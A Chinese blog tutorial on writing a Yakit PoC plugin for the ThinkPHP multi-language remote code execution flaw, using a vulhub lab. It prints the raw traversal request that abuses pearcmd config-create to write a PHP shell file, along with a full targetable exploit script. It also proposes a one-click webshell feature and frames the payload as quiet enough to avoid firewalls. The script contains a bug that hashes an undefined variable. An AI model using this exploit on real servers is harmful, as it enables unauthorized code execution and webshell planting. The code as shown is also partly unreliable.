S1xHcL's Blog.

yakit之编写poc

Word count: 1.8kReading time: 8 min
2022/12/16 Share

前言

最近因项目接触到了 yakit ,简单学习和编写一下漏洞POC。整体体的体验感和 burp 略微有点差距,但是有些功能比 burp 使用起来更加的舒服。

漏洞环境

漏洞环境使用 vulhub 直接搭建

1
2
3
git clone https://github.com/vulhub/vulhub
cd vulhub/thinkphp/lang-rce/
docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看到 ThinkPHP 默认的欢迎页面。

漏洞复现

1
2
3
4
5
6
7
8
9
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
Host: 192.168.149.129:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0


如果服务器返回 pearcmd 的命令行执行结果,说明漏洞利用成功,然后在根目录中生成 shell.php 文件

yakit 插件编写

漏洞复现很简单,复现完成后,就可以上手写插件,会先完整给出代码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// 设置日志
log.setLevel("info")

// poc发包1
sendPacket1 = func(target, rdmd5){
return poc.HTTP(`GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/{{params(rdmd5)}}+1.txt HTTP/1.1
Host: {{params(target)}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0

`, poc.params({
"target": target,
"rdmd5": rdmd5,
}),)
}

// poc 发包2
sendPacket2 = func(target){
return poc.HTTP(`GET /1.txt HTTP/1.1
Host: {{params(target)}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0

`, poc.params({"target": target}),)
}

// 获取 target
target = cli.String("target")
if target == ""{
die(" no target")
}

// poc 生成随机字符
randomStr = str.RandStr(20)
rdmd5 = codec.Md5(rdmd5)
log.info("generate random md5 token: %v", rdmd5)

// log.info("http", sendPacket1)

// 发送 poc 验证
rsp1, _, err1 = sendPacket1(target, rdmd5)
// log.error("error", err1)
die(err1)

rsp2, _, err2 = sendPacket2(target)
// log.error("error", err2)
die(err2)

// 验证响应包
header, body = str.SplitHTTPHeadersAndBodyFromPacket(rsp2)
if str.MatchAllOfSubString(body, rdmd5){
log.info("漏洞验证", " [+] 存在漏洞")
}

这个就是最简单的插件编写

sendPacket1

因为要编写的是 POC 文件,最小化不惊动防火墙来探测漏洞是关键,所以这里编写的第一个请求包内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// poc发包1
sendPacket1 = func(target, rdmd5){
return poc.HTTP(`GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/{{params(rdmd5)}}+1.txt HTTP/1.1
Host: {{params(target)}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0

`, poc.params({
"target": target,
"rdmd5": rdmd5,
}),)
}

随机生成一个字符串 rdmd5 写入 1.txt 文件中,然后通过访问 1.txt 来确认文件是否写入

sendPacket2

1
2
3
4
5
6
7
8
9
10
11
12
// poc 发包2
sendPacket2 = func(target){
return poc.HTTP(`GET /1.txt HTTP/1.1
Host: {{params(target)}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0

`, poc.params({"target": target}),)
}

rdmd5

1
2
3
4
// poc 生成随机字符
randomStr = str.RandStr(20)
rdmd5 = codec.Md5(rdmd5)
log.info("generate random md5 token: %v", rdmd5)

其中 str.RandStr(20) 为生成一个20位长度的随机字符串,然后通过 codec.Md5() 进行 MD5 加密

验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 发送 poc 验证
rsp1, _, err1 = sendPacket1(target, rdmd5)
// log.error("error", err1)
die(err1)

rsp2, _, err2 = sendPacket2(target)
// log.error("error", err2)
die(err2)

// 验证响应包
header, body = str.SplitHTTPHeadersAndBodyFromPacket(rsp2)
if str.MatchAllOfSubString(body, rdmd5){
log.info("漏洞验证", " [+] 存在漏洞")
}

str.SplitHTTPHeadersAndBodyFromPacket() 拆分 sendPacket2 ,我们在 body 中完全匹配 rdmd5 ,如果存在则证明漏洞存在,这时就可以尝试再写入一句话马或者是免杀马

优化

上述代码可以说是从官网文档中各种复制粘贴的内容,没有一点的含金量,各位只需要粘贴复制也能在短时间内打造出一样的,甚至是更加美观的验证文件。

优化1: 漏洞验证是否存在

在仔细阅读 thinkphp_lang-rce 漏洞分析的文章时,其实在正确的第一步应该是验证是否有开启多语言特性

我们假定服务器条件已满足,首先我们要加入探测 ?lang=../../../../../public/index 访问状态码是否为 500 。这里我们要先判断状态码,然后再去执行后续的POC探测。先组包,可直接使用默认的数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 验证多语言特性文件包含是否存在
lang_Packet = func(target){
return poc.HTTP(`GET /?lang=../../../../../public/index HTTP/1.1
Host: {{params(target)}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: think_lang=zh-cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0

`, poc.params({"target": target}))
}

判断状态码,这里需要先把一个数据包转变成可用的 HTTP Response 对象,使用 poc.ParseBytesToHTTPResponse() ,然后就可以使用 StatusCode 来获取状态码信息

1
2
3
4
5
6
7
8
9
// 判断多语言特性
lang_rsp, _, lang_err = lang_Packet(target)
lang_rsp_status, err = poc.ParseBytesToHTTPResponse(lang_rsp)
if (lang_rsp_status.StatusCode == 500){
...

}else {
log.Info(" [-] %v 检测未发现漏洞 ", target)
}

思考:如果状态码不是 500 还需要跑完整个 POC 吗?

优化2: 美化页面输出

在原始页面中,我们只是通过 Console 中的内容来查看扫描进度,这里浪费了 基础插件扫描/日志 部分的内容展示,所以我们给他增加交互式输出内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 启用 yakit 通信模块
yakit.AutoInitYakit()

...
// 打印随机字符串 md5 信息
yakit.Info("generate random md5 token: %v", rdmd5)

...

// 判断多语言特性,发送 poc 验证
yakit.Info(" lang status_code: %v ", lang_rsp_status.StatusCode)

...
// 判断多语言特性,发送 poc 验证
if (lang_rsp_status.StatusCode == 500){
yakit.Info(" lang status_code: %v ", lang_rsp_status.StatusCode)

...
if str.MatchAllOfSubString(body, rdmd5){
yakit.Info("[+] %v 存在漏洞", target)
...
}


}else {
yakit.Info(" [-] %v 检测未发现漏洞 ", target)
}

除此之外,加上进度条

1
yakit.SetProgress(0.5)

通过不同的数值来区分当前进度内容

优化3: 增加写入一句话木马

提供 一键getshell 功能,直接生成默认的一句话木马,文件名可直接使用POC中给出的随机值 rdmd5

优化4: 指纹识别

判断当前站点是否为 thinkphp

CATALOG
  1. 1. 前言
  2. 2. 漏洞环境
  3. 3. 漏洞复现
  4. 4. yakit 插件编写
    1. 4.1. sendPacket1
    2. 4.2. sendPacket2
    3. 4.3. rdmd5
    4. 4.4. 验证
  5. 5. 优化
    1. 5.1. 优化1: 漏洞验证是否存在
    2. 5.2. 优化2: 美化页面输出
    3. 5.3. 优化3: 增加写入一句话木马
    4. 5.4. 优化4: 指纹识别